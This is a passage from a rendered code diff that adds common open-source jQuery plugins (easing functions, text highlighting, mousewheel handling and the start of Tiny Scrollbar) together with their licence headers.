15 |
+
},
|
16 |
+
easeOut: function (x, t, b, c, d) {
|
17 |
+
return jQuery.easing.easeOutQuad(x, t, b, c, d);
|
18 |
+
},
|
19 |
+
easeInOut: function (x, t, b, c, d) {
|
20 |
+
return jQuery.easing.easeInOutQuad(x, t, b, c, d);
|
21 |
+
},
|
22 |
+
expoin: function(x, t, b, c, d) {
|
23 |
+
return jQuery.easing.easeInExpo(x, t, b, c, d);
|
24 |
+
},
|
25 |
+
expoout: function(x, t, b, c, d) {
|
26 |
+
return jQuery.easing.easeOutExpo(x, t, b, c, d);
|
27 |
+
},
|
28 |
+
expoinout: function(x, t, b, c, d) {
|
29 |
+
return jQuery.easing.easeInOutExpo(x, t, b, c, d);
|
30 |
+
},
|
31 |
+
bouncein: function(x, t, b, c, d) {
|
32 |
+
return jQuery.easing.easeInBounce(x, t, b, c, d);
|
33 |
+
},
|
34 |
+
bounceout: function(x, t, b, c, d) {
|
35 |
+
return jQuery.easing.easeOutBounce(x, t, b, c, d);
|
36 |
+
},
|
37 |
+
bounceinout: function(x, t, b, c, d) {
|
38 |
+
return jQuery.easing.easeInOutBounce(x, t, b, c, d);
|
39 |
+
},
|
40 |
+
elasin: function(x, t, b, c, d) {
|
41 |
+
return jQuery.easing.easeInElastic(x, t, b, c, d);
|
42 |
+
},
|
43 |
+
elasout: function(x, t, b, c, d) {
|
44 |
+
return jQuery.easing.easeOutElastic(x, t, b, c, d);
|
45 |
+
},
|
46 |
+
elasinout: function(x, t, b, c, d) {
|
47 |
+
return jQuery.easing.easeInOutElastic(x, t, b, c, d);
|
48 |
+
},
|
49 |
+
backin: function(x, t, b, c, d) {
|
50 |
+
return jQuery.easing.easeInBack(x, t, b, c, d);
|
51 |
+
},
|
52 |
+
backout: function(x, t, b, c, d) {
|
53 |
+
return jQuery.easing.easeOutBack(x, t, b, c, d);
|
54 |
+
},
|
55 |
+
backinout: function(x, t, b, c, d) {
|
56 |
+
return jQuery.easing.easeInOutBack(x, t, b, c, d);
|
57 |
+
}
|
58 |
+
});
|
js/nomin/jquery.easing.js
ADDED
@@ -0,0 +1,205 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*
|
2 |
+
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
|
3 |
+
*
|
4 |
+
* Uses the built in easing capabilities added In jQuery 1.1
|
5 |
+
* to offer multiple easing options
|
6 |
+
*
|
7 |
+
* TERMS OF USE - jQuery Easing
|
8 |
+
*
|
9 |
+
* Open source under the BSD License.
|
10 |
+
*
|
11 |
+
* Copyright © 2008 George McGinley Smith
|
12 |
+
* All rights reserved.
|
13 |
+
*
|
14 |
+
* Redistribution and use in source and binary forms, with or without modification,
|
15 |
+
* are permitted provided that the following conditions are met:
|
16 |
+
*
|
17 |
+
* Redistributions of source code must retain the above copyright notice, this list of
|
18 |
+
* conditions and the following disclaimer.
|
19 |
+
* Redistributions in binary form must reproduce the above copyright notice, this list
|
20 |
+
* of conditions and the following disclaimer in the documentation and/or other materials
|
21 |
+
* provided with the distribution.
|
22 |
+
*
|
23 |
+
* Neither the name of the author nor the names of contributors may be used to endorse
|
24 |
+
* or promote products derived from this software without specific prior written permission.
|
25 |
+
*
|
26 |
+
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
|
27 |
+
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
28 |
+
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
29 |
+
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
30 |
+
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
|
31 |
+
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
32 |
+
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
33 |
+
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
|
34 |
+
* OF THE POSSIBILITY OF SUCH DAMAGE.
|
35 |
+
*
|
36 |
+
*/
|
37 |
+
|
38 |
+
// t: current time, b: begInnIng value, c: change In value, d: duration
|
39 |
+
jQuery.easing['jswing'] = jQuery.easing['swing'];
|
40 |
+
|
41 |
+
jQuery.extend( jQuery.easing,
|
42 |
+
{
|
43 |
+
def: 'easeOutQuad',
|
44 |
+
swing: function (x, t, b, c, d) {
|
45 |
+
//alert(jQuery.easing.default);
|
46 |
+
return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
|
47 |
+
},
|
48 |
+
easeInQuad: function (x, t, b, c, d) {
|
49 |
+
return c*(t/=d)*t + b;
|
50 |
+
},
|
51 |
+
easeOutQuad: function (x, t, b, c, d) {
|
52 |
+
return -c *(t/=d)*(t-2) + b;
|
53 |
+
},
|
54 |
+
easeInOutQuad: function (x, t, b, c, d) {
|
55 |
+
if ((t/=d/2) < 1) return c/2*t*t + b;
|
56 |
+
return -c/2 * ((--t)*(t-2) - 1) + b;
|
57 |
+
},
|
58 |
+
easeInCubic: function (x, t, b, c, d) {
|
59 |
+
return c*(t/=d)*t*t + b;
|
60 |
+
},
|
61 |
+
easeOutCubic: function (x, t, b, c, d) {
|
62 |
+
return c*((t=t/d-1)*t*t + 1) + b;
|
63 |
+
},
|
64 |
+
easeInOutCubic: function (x, t, b, c, d) {
|
65 |
+
if ((t/=d/2) < 1) return c/2*t*t*t + b;
|
66 |
+
return c/2*((t-=2)*t*t + 2) + b;
|
67 |
+
},
|
68 |
+
easeInQuart: function (x, t, b, c, d) {
|
69 |
+
return c*(t/=d)*t*t*t + b;
|
70 |
+
},
|
71 |
+
easeOutQuart: function (x, t, b, c, d) {
|
72 |
+
return -c * ((t=t/d-1)*t*t*t - 1) + b;
|
73 |
+
},
|
74 |
+
easeInOutQuart: function (x, t, b, c, d) {
|
75 |
+
if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
|
76 |
+
return -c/2 * ((t-=2)*t*t*t - 2) + b;
|
77 |
+
},
|
78 |
+
easeInQuint: function (x, t, b, c, d) {
|
79 |
+
return c*(t/=d)*t*t*t*t + b;
|
80 |
+
},
|
81 |
+
easeOutQuint: function (x, t, b, c, d) {
|
82 |
+
return c*((t=t/d-1)*t*t*t*t + 1) + b;
|
83 |
+
},
|
84 |
+
easeInOutQuint: function (x, t, b, c, d) {
|
85 |
+
if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
|
86 |
+
return c/2*((t-=2)*t*t*t*t + 2) + b;
|
87 |
+
},
|
88 |
+
easeInSine: function (x, t, b, c, d) {
|
89 |
+
return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
|
90 |
+
},
|
91 |
+
easeOutSine: function (x, t, b, c, d) {
|
92 |
+
return c * Math.sin(t/d * (Math.PI/2)) + b;
|
93 |
+
},
|
94 |
+
easeInOutSine: function (x, t, b, c, d) {
|
95 |
+
return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
|
96 |
+
},
|
97 |
+
easeInExpo: function (x, t, b, c, d) {
|
98 |
+
return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
|
99 |
+
},
|
100 |
+
easeOutExpo: function (x, t, b, c, d) {
|
101 |
+
return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
|
102 |
+
},
|
103 |
+
easeInOutExpo: function (x, t, b, c, d) {
|
104 |
+
if (t==0) return b;
|
105 |
+
if (t==d) return b+c;
|
106 |
+
if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
|
107 |
+
return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
|
108 |
+
},
|
109 |
+
easeInCirc: function (x, t, b, c, d) {
|
110 |
+
return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
|
111 |
+
},
|
112 |
+
easeOutCirc: function (x, t, b, c, d) {
|
113 |
+
return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
|
114 |
+
},
|
115 |
+
easeInOutCirc: function (x, t, b, c, d) {
|
116 |
+
if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
|
117 |
+
return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
|
118 |
+
},
|
119 |
+
easeInElastic: function (x, t, b, c, d) {
|
120 |
+
var s=1.70158;var p=0;var a=c;
|
121 |
+
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
|
122 |
+
if (a < Math.abs(c)) { a=c; var s=p/4; }
|
123 |
+
else var s = p/(2*Math.PI) * Math.asin (c/a);
|
124 |
+
return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
|
125 |
+
},
|
126 |
+
easeOutElastic: function (x, t, b, c, d) {
|
127 |
+
var s=1.70158;var p=0;var a=c;
|
128 |
+
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
|
129 |
+
if (a < Math.abs(c)) { a=c; var s=p/4; }
|
130 |
+
else var s = p/(2*Math.PI) * Math.asin (c/a);
|
131 |
+
return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
|
132 |
+
},
|
133 |
+
easeInOutElastic: function (x, t, b, c, d) {
|
134 |
+
var s=1.70158;var p=0;var a=c;
|
135 |
+
if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5);
|
136 |
+
if (a < Math.abs(c)) { a=c; var s=p/4; }
|
137 |
+
else var s = p/(2*Math.PI) * Math.asin (c/a);
|
138 |
+
if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
|
139 |
+
return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
|
140 |
+
},
|
141 |
+
easeInBack: function (x, t, b, c, d, s) {
|
142 |
+
if (s == undefined) s = 1.70158;
|
143 |
+
return c*(t/=d)*t*((s+1)*t - s) + b;
|
144 |
+
},
|
145 |
+
easeOutBack: function (x, t, b, c, d, s) {
|
146 |
+
if (s == undefined) s = 1.70158;
|
147 |
+
return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
|
148 |
+
},
|
149 |
+
easeInOutBack: function (x, t, b, c, d, s) {
|
150 |
+
if (s == undefined) s = 1.70158;
|
151 |
+
if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
|
152 |
+
return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
|
153 |
+
},
|
154 |
+
easeInBounce: function (x, t, b, c, d) {
|
155 |
+
return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
|
156 |
+
},
|
157 |
+
easeOutBounce: function (x, t, b, c, d) {
|
158 |
+
if ((t/=d) < (1/2.75)) {
|
159 |
+
return c*(7.5625*t*t) + b;
|
160 |
+
} else if (t < (2/2.75)) {
|
161 |
+
return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
|
162 |
+
} else if (t < (2.5/2.75)) {
|
163 |
+
return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
|
164 |
+
} else {
|
165 |
+
return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
|
166 |
+
}
|
167 |
+
},
|
168 |
+
easeInOutBounce: function (x, t, b, c, d) {
|
169 |
+
if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
|
170 |
+
return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
|
171 |
+
}
|
172 |
+
});
|
173 |
+
|
174 |
+
/*
|
175 |
+
*
|
176 |
+
* TERMS OF USE - EASING EQUATIONS
|
177 |
+
*
|
178 |
+
* Open source under the BSD License.
|
179 |
+
*
|
180 |
+
* Copyright © 2001 Robert Penner
|
181 |
+
* All rights reserved.
|
182 |
+
*
|
183 |
+
* Redistribution and use in source and binary forms, with or without modification,
|
184 |
+
* are permitted provided that the following conditions are met:
|
185 |
+
*
|
186 |
+
* Redistributions of source code must retain the above copyright notice, this list of
|
187 |
+
* conditions and the following disclaimer.
|
188 |
+
* Redistributions in binary form must reproduce the above copyright notice, this list
|
189 |
+
* of conditions and the following disclaimer in the documentation and/or other materials
|
190 |
+
* provided with the distribution.
|
191 |
+
*
|
192 |
+
* Neither the name of the author nor the names of contributors may be used to endorse
|
193 |
+
* or promote products derived from this software without specific prior written permission.
|
194 |
+
*
|
195 |
+
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
|
196 |
+
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
197 |
+
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
198 |
+
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
199 |
+
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
|
200 |
+
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
201 |
+
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
202 |
+
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
|
203 |
+
* OF THE POSSIBILITY OF SUCH DAMAGE.
|
204 |
+
*
|
205 |
+
*/
|
js/nomin/jquery.highlight.js
ADDED
@@ -0,0 +1,108 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*
|
2 |
+
* jQuery Highlight plugin
|
3 |
+
*
|
4 |
+
* Based on highlight v3 by Johann Burkard
|
5 |
+
* http://johannburkard.de/blog/programming/javascript/highlight-javascript-text-higlighting-jquery-plugin.html
|
6 |
+
*
|
7 |
+
* Code a little bit refactored and cleaned (in my humble opinion).
|
8 |
+
* Most important changes:
|
9 |
+
* - has an option to highlight only entire words (wordsOnly - false by default),
|
10 |
+
* - has an option to be case sensitive (caseSensitive - false by default)
|
11 |
+
* - highlight element tag and class names can be specified in options
|
12 |
+
*
|
13 |
+
* Usage:
|
14 |
+
* // wrap every occurrance of text 'lorem' in content
|
15 |
+
* // with <span class='highlight'> (default options)
|
16 |
+
* $('#content').highlight('lorem');
|
17 |
+
*
|
18 |
+
* // search for and highlight more terms at once
|
19 |
+
* // so you can save some time on traversing DOM
|
20 |
+
* $('#content').highlight(['lorem', 'ipsum']);
|
21 |
+
* $('#content').highlight('lorem ipsum');
|
22 |
+
*
|
23 |
+
* // search only for entire word 'lorem'
|
24 |
+
* $('#content').highlight('lorem', { wordsOnly: true });
|
25 |
+
*
|
26 |
+
* // don't ignore case during search of term 'lorem'
|
27 |
+
* $('#content').highlight('lorem', { caseSensitive: true });
|
28 |
+
*
|
29 |
+
* // wrap every occurrance of term 'ipsum' in content
|
30 |
+
* // with <em class='important'>
|
31 |
+
* $('#content').highlight('ipsum', { element: 'em', className: 'important' });
|
32 |
+
*
|
33 |
+
* // remove default highlight
|
34 |
+
* $('#content').unhighlight();
|
35 |
+
*
|
36 |
+
* // remove custom highlight
|
37 |
+
* $('#content').unhighlight({ element: 'em', className: 'important' });
|
38 |
+
*
|
39 |
+
*
|
40 |
+
* Copyright (c) 2009 Bartek Szopka
|
41 |
+
*
|
42 |
+
* Licensed under MIT license.
|
43 |
+
*
|
44 |
+
*/
|
45 |
+
|
46 |
+
jQuery.extend({
|
47 |
+
highlight: function (node, re, nodeName, className) {
|
48 |
+
if (node.nodeType === 3) {
|
49 |
+
var match = node.data.match(re);
|
50 |
+
if (match) {
|
51 |
+
var highlight = document.createElement(nodeName || 'span');
|
52 |
+
highlight.className = className || 'highlight';
|
53 |
+
var wordNode = node.splitText(match.index);
|
54 |
+
wordNode.splitText(match[0].length);
|
55 |
+
var wordClone = wordNode.cloneNode(true);
|
56 |
+
highlight.appendChild(wordClone);
|
57 |
+
wordNode.parentNode.replaceChild(highlight, wordNode);
|
58 |
+
return 1; //skip added node in parent
|
59 |
+
}
|
60 |
+
} else if ((node.nodeType === 1 && node.childNodes) && // only element nodes that have children
|
61 |
+
!/(script|style)/i.test(node.tagName) && // ignore script and style nodes
|
62 |
+
!(node.tagName === nodeName.toUpperCase() && node.className === className)) { // skip if already highlighted
|
63 |
+
for (var i = 0; i < node.childNodes.length; i++) {
|
64 |
+
i += jQuery.highlight(node.childNodes[i], re, nodeName, className);
|
65 |
+
}
|
66 |
+
}
|
67 |
+
return 0;
|
68 |
+
}
|
69 |
+
});
|
70 |
+
|
71 |
+
jQuery.fn.unhighlight = function (options) {
|
72 |
+
var settings = { className: 'highlight', element: 'span' };
|
73 |
+
jQuery.extend(settings, options);
|
74 |
+
|
75 |
+
return this.find(settings.element + "." + settings.className).each(function () {
|
76 |
+
var parent = this.parentNode;
|
77 |
+
parent.replaceChild(this.firstChild, this);
|
78 |
+
parent.normalize();
|
79 |
+
}).end();
|
80 |
+
};
|
81 |
+
|
82 |
+
jQuery.fn.highlight = function (words, options) {
|
83 |
+
var settings = { className: 'highlight', element: 'span', caseSensitive: false, wordsOnly: false };
|
84 |
+
jQuery.extend(settings, options);
|
85 |
+
|
86 |
+
if (words.constructor === String) {
|
87 |
+
words = [words];
|
88 |
+
}
|
89 |
+
words = jQuery.grep(words, function(word, i){
|
90 |
+
return word != '';
|
91 |
+
});
|
92 |
+
words = jQuery.map(words, function(word, i) {
|
93 |
+
return word.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
|
94 |
+
});
|
95 |
+
if (words.length == 0) { return this; };
|
96 |
+
|
97 |
+
var flag = settings.caseSensitive ? "" : "i";
|
98 |
+
var pattern = "(" + words.join("|") + ")";
|
99 |
+
if (settings.wordsOnly) {
|
100 |
+
pattern = "\\b" + pattern + "\\b";
|
101 |
+
}
|
102 |
+
var re = new RegExp(pattern, flag);
|
103 |
+
|
104 |
+
return this.each(function () {
|
105 |
+
jQuery.highlight(this, re, settings.element, settings.className);
|
106 |
+
});
|
107 |
+
};
|
108 |
+
|
js/nomin/jquery.mousewheel.min.js
ADDED
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net)
|
2 |
+
* Licensed under the MIT License (LICENSE.txt).
|
3 |
+
*
|
4 |
+
* Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.
|
5 |
+
* Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.
|
6 |
+
* Thanks to: Seamus Leahy for adding deltaX and deltaY
|
7 |
+
*
|
8 |
+
* Version: 3.0.6
|
9 |
+
*
|
10 |
+
* Requires: 1.2.2+
|
11 |
+
*/
|
12 |
+
(function(a){function d(b){var c=b||window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1*e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch||a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)for(var a=b.length;a;)this.addEventListener(b[--a],d,!1);else this.onmousewheel=d},teardown:function(){if(this.removeEventListener)for(var a=b.length;a;)this.removeEventListener(b[--a],d,!1);else this.onmousewheel=null}},a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})})(jQuery)
|
js/nomin/jquery.tinyscrollbar.js
ADDED
@@ -0,0 +1,214 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*
|
2 |
+
* Tiny Scrollbar
|
3 |
+
* http://www.baijs.nl/tinyscrollbar/
|
4 |
+
*
|
5 |
+
* Dual licensed under the MIT or GPL Version 2 licenses.
|
6 |
+
* http://www.opensource.org/licenses/mit-license.php
|
7 |
+
* http://www.opensource.org/licenses/gpl-2.0.php
|
8 |
+
*
|
9 |
+
* Date: 13 / 08 / 2012
|
10 |
+
* @version 1.81
|
11 |
+
* @author Maarten Baijs
|
12 |
+
*
|
13 |
+
*/
|
14 |
+
( function( $ )
|
15 |
+
{
|
16 |
+
|
17 |
+
$.tiny = $.tiny || { };
|
18 |
+
|
19 |
+
$.tiny.scrollbar = {
|
20 |
+
options: {
|
21 |
+
axis : 'y' // vertical or horizontal scrollbar? ( x || y ).
|
22 |
+
, wheel : 40 // how many pixels must the mouswheel scroll at a time.
|
23 |
+
, scroll : true // enable or disable the mousewheel.
|
24 |
+
, lockscroll : true // return scrollwheel to browser if there is no more content.
|
25 |
+
, size : 'auto' // set the size of the scrollbar to auto or a fixed number.
|
26 |
+
, sizethumb : 'auto' // set the size of the thumb to auto or a fixed number.
|
27 |
+
, invertscroll : false // Enable mobile invert style scrolling
|
28 |
+
}
|
29 |
+
};
|
30 |
+
|
31 |
+
$.fn.tinyscrollbar = function( params )
|
32 |
+
{
|
33 |
+
var options = $.extend( {}, $.tiny.scrollbar.options, params );
|
34 |
+
|
35 |
+
this.each( function()
|
36 |
+
{
|
37 |
+
$( this ).data('tsb', new Scrollbar( $( this ), options ) );
|
38 |
+
});
|
39 |
+
|
40 |
+
return this;
|
41 |
+
};
|
42 |
+
|
43 |
+
$.fn.tinyscrollbar_update = function(sScroll)
|
44 |
+
{
|
45 |
+
return $( this ).data( 'tsb' ).update( sScroll );
|
46 |
+
};
|
47 |
+
|
48 |
+
function Scrollbar( root, options )
|
49 |
+
{
|
50 |
+
var oSelf = this
|
51 |
+
, oWrapper = root
|
52 |
+
, oViewport = { obj: $( '.viewport', root ) }
|
53 |
+
, oContent = { obj: $( '.overview', root ) }
|
54 |
+
, oScrollbar = { obj: $( '.scrollbar', root ) }
|
55 |
+
, oTrack = { obj: $( '.track', oScrollbar.obj ) }
|
56 |
+
, oThumb = { obj: $( '.thumb', oScrollbar.obj ) }
|
57 |
+
, sAxis = options.axis === 'x'
|
58 |
+
, sDirection = sAxis ? 'left' : 'top'
|
59 |
+
, sSize = sAxis ? 'Width' : 'Height'
|
60 |
+
, iScroll = 0
|
61 |
+
, iPosition = { start: 0, now: 0 }
|
62 |
+
, iMouse = {}
|
63 |
+
, touchEvents = 'ontouchstart' in document.documentElement
|
64 |
+
;
|
65 |
+
|
66 |
+
function initialize()
|
67 |
+
{
|
68 |
+
oSelf.update();
|
69 |
+
setEvents();
|
70 |
+
|
71 |
+
return oSelf;
|
72 |
+
}
|
73 |
+
|
74 |
+
this.update = function( sScroll )
|
75 |
+
{
|
76 |
+
oViewport[ options.axis ] = oViewport.obj[0][ 'offset'+ sSize ];
|
77 |
+
oContent[ options.axis ] = oContent.obj[0][ 'scroll'+ sSize ];
|
78 |
+
oContent.ratio = oViewport[ options.axis ] / oContent[ options.axis ];
|
79 |
+
|
80 |
+
oScrollbar.obj.toggleClass( 'disable', oContent.ratio >= 1 );
|
81 |
+
|
82 |
+
oTrack[ options.axis ] = options.size === 'auto' ? oViewport[ options.axis ] : options.size;
|
83 |
+
oThumb[ options.axis ] = Math.min( oTrack[ options.axis ], Math.max( 0, ( options.sizethumb === 'auto' ? ( oTrack[ options.axis ] * oContent.ratio ) : options.sizethumb ) ) );
|
84 |
+
|
85 |
+
oScrollbar.ratio = options.sizethumb === 'auto' ? ( oContent[ options.axis ] / oTrack[ options.axis ] ) : ( oContent[ options.axis ] - oViewport[ options.axis ] ) / ( oTrack[ options.axis ] - oThumb[ options.axis ] );
|
86 |
+
|
87 |
+
iScroll = ( sScroll === 'relative' && oContent.ratio <= 1 ) ? Math.min( ( oContent[ options.axis ] - oViewport[ options.axis ] ), Math.max( 0, iScroll )) : 0;
|
88 |
+
iScroll = ( sScroll === 'bottom' && oContent.ratio <= 1 ) ? ( oContent[ options.axis ] - oViewport[ options.axis ] ) : isNaN( parseInt( sScroll, 10 ) ) ? iScroll : parseInt( sScroll, 10 );
|
89 |
+
|
90 |
+
setSize();
|
91 |
+
};
|
92 |
+
|
93 |
+
function setSize()
|
94 |
+
{
|
95 |
+
var sCssSize = sSize.toLowerCase();
|
96 |
+
|
97 |
+
oThumb.obj.css( sDirection, iScroll / oScrollbar.ratio );
|
98 |
+
oContent.obj.css( sDirection, -iScroll );
|
99 |
+
iMouse.start = oThumb.obj.offset()[ sDirection ];
|
100 |
+
|
101 |
+
oScrollbar.obj.css( sCssSize, oTrack[ options.axis ] );
|
102 |
+
oTrack.obj.css( sCssSize, oTrack[ options.axis ] );
|
103 |
+
